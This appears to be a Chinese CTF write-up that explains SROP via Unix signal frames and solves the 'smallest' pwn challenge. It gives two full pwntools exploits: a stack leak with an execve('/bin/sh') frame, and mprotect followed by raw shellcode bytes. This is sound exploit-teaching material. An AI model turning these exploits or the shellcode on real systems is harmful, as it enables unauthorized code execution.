原理 参考 https://ha.cker.in/Article/6569
备份了一份 https://blog.csdn.net/weixin_45551083/article/details/123405986
首先需要了解一下Unix系统的Signal机制:
Signal这套机制在1970年代就被提出来并整合进了UNIX内核中,它在现在的操作系统中被使用的非常广泛,比如内核要杀死一个进程(kill -9 $PID
),再比如为进程设置定时器,或者通知进程一些异常事件等等。
Signal机制实现流程:
user process发起一个Signal,然后user process暂时被挂起进入内核状态
内核为进程保存上下文环境,然后跳转到signal handler处理handler.
signalhandler处理结束,返回到内核态
内核恢复用户进程的上下文,然后恢复用户进程的执行
这四步中,第三步是实现的关键, 一般实现如下:
在第二步中, 内核帮助进程将其上下文保存在该进程的栈里.然后再在栈顶上填写一个rt_sigreturn
, rt_sigreturn
指向sigreturn的系统调用代码.
通常上下文的结构包括寄存器等结构.如x86下的context结构体:
signal handler处理完之后,通过sys_sigreturn返回内核态.
所以在指向signal handler时,用户进程的栈空间可能是这样的:
drawio
Signal Frame:
存在的问题:
这个Signal Frame
是被保存在用户进程的地址空间中的,是用户进程可读写的;
内核并没有将保存的过程和恢复的过程进行一个比较,也就是说,在sigreturn
这个系统调用的处理函数中,内核并没有判断当前的这个Signal Frame
就是之前内核为用户进程保存的那个Signal Frame
所以可用在栈中构造context结构再触发sigreturn
系统调用来实现rop或者getshell, 如:
sigreturn
系统调用可用使用syscall来实现(rax=15)
实例-smallest 题目地址: https://github.com/nushosilayer8/pwn
wp参考 https://bestwing.me/2017-360chunqiu-online.html
题目信息: 开了栈不可执行的保护.
1 2 3 4 5 6 7 root@Ubuntu:/pwn/srop [*] '/pwn/srop/smallest' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
代码极其简单: 调用read系统调用,从标准输入写0x400个字节到rsp.
1 2 3 4 5 6 7 8 9 10 root@Ubuntu:/pwn/srop smallest: 文件格式 elf64-x86-64 Disassembly of section .text: 00000000004000b0 <.text>: 4000b0: 48 31 c0 xor rax,rax ; rax = 0 4000b3: ba 00 04 00 00 mov edx,0x400 ; size 4000b8: 48 89 e6 mov rsi,rsp ; buf 4000bb: 48 89 c7 mov rdi,rax ; stdin 4000be: 0f 05 syscall 4000c0: c3 ret
利用srop来做有两种思路:
在栈中写入/bin/sh
然后再调用sys_execve.
先调用mprotect设置栈可执行,然后再打shellcode.
两种思路都涉及对具体地址的操作, 所以首先泄露一个栈上的地址. 泄露地址可以使用sys_write系统调用, 只需要在现有代码的基础上修改rax=1即可. 修改eax使用的是发送一个字节的数据,read函数返回rax=1. 发送的字节为b3
,这样就可以跳过xor rax,rax
1 2 3 4 5 6 7 8 9 payload1 = p64(start_addr) * 3 io.send(payload1) io.send(b"\xb3" ) io.recv(8 ) stack_address = io.recv(8 ) stack_address = u64(stack_address) stack_address += 8 success(f"leak stack address : {hex (stack_address)} " )
然后使用srop迁移栈帧并覆盖新的栈空间:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 frame = SigreturnFrame() frame.rax = constants.SYS_read frame.rdi = 0 frame.rsi = stack_address frame.rdx = 0x300 frame.rsp = stack_address frame.rip = syscall_ret payload = p64(start_addr) payload += p64(start_addr) payload += bytes (frame) io.send(payload) sigreturn = p64(syscall_ret) + b'\x00' * 7 io.send(sigreturn)
在新的栈空间上排布context和填充/bin/sh
, 然后触发sigreturn来getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 io.send(p64(start_addr) * 0x30 + b'/bin/sh\x00' ) frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = stack_address + 0x30 * 8 frame.rsp = stack_address frame.rip = syscall_ret payload = p64(start_addr) payload += p64(start_addr) payload += bytes (frame) io.send(payload) sigreturn = p64(syscall_ret) + b'\x00' * 7 io.send(sigreturn) io.interactive()
完整exp1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context.log_level = 'debug' context.arch = 'amd64' elf = ELF('./smallest' ) io = process('./smallest' ) io = remote('node4.buuoj.cn' ,26223 ) start_addr = 0x4000b0 syscall_ret = 0x4000be payload1 = p64(start_addr) * 3 io.send(payload1) io.send(b"\xb3" ) io.recv(8 ) stack_address = io.recv(8 ) stack_address = u64(stack_address) stack_address += 8 success(f"leak stack address : {hex (stack_address)} " ) frame = SigreturnFrame() frame.rax = constants.SYS_read frame.rdi = 0 frame.rsi = stack_address frame.rdx = 0x300 frame.rsp = stack_address frame.rip = syscall_ret payload = p64(start_addr) payload += p64(start_addr) payload += bytes (frame) io.send(payload) sigreturn = p64(syscall_ret) + b'\x00' * 7 io.send(sigreturn) io.send(p64(start_addr) * 0x30 + b'/bin/sh\x00' ) frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = stack_address + 0x30 * 8 frame.rsp = stack_address frame.rip = syscall_ret payload = p64(start_addr) payload += p64(start_addr) payload += bytes (frame) io.send(payload) sigreturn = p64(syscall_ret) + b'\x00' * 7 io.send(sigreturn) io.interactive()
思路2 exp: 前面一部分都是一样的,只有第二个srop的系统调用不一样.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *context.log_level = 'debug' context.arch = 'amd64' elf = ELF('./smallest' ) io = remote('node4.buuoj.cn' ,26223 ) start_addr = 0x4000b0 syscall_ret = 0x4000be payload1 = p64(start_addr) * 3 io.send(payload1) io.send(b"\xb3" ) io.recv(8 ) stack_address = io.recv(8 ) stack_address = u64(stack_address) stack_address += 8 success(f"leak stack address : {hex (stack_address)} " ) frame = SigreturnFrame() frame.rax = constants.SYS_read frame.rdi = 0 frame.rsi = stack_address frame.rdx = 0x300 frame.rsp = stack_address frame.rip = syscall_ret payload = p64(start_addr) payload += p64(start_addr) payload += bytes (frame) io.send(payload) sigreturn = p64(syscall_ret) + b'\x00' * 7 io.send(sigreturn) io.send(p64(start_addr) * 3 ) frame = SigreturnFrame() frame.rax = constants.SYS_mprotect frame.rdi = (stack_address&0xfffffffffffff000 ) frame.rsi = 0x1000 frame.rdx = 0x7 frame.rsp = stack_address frame.rip = syscall_ret payload = p64(start_addr) payload += p64(start_addr) payload += bytes (frame) io.send(payload) sigreturn = p64(syscall_ret) + b'\x00' * 7 io.send(sigreturn) io.send(p64(stack_address+0x10 ) + b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" ) io.interactive()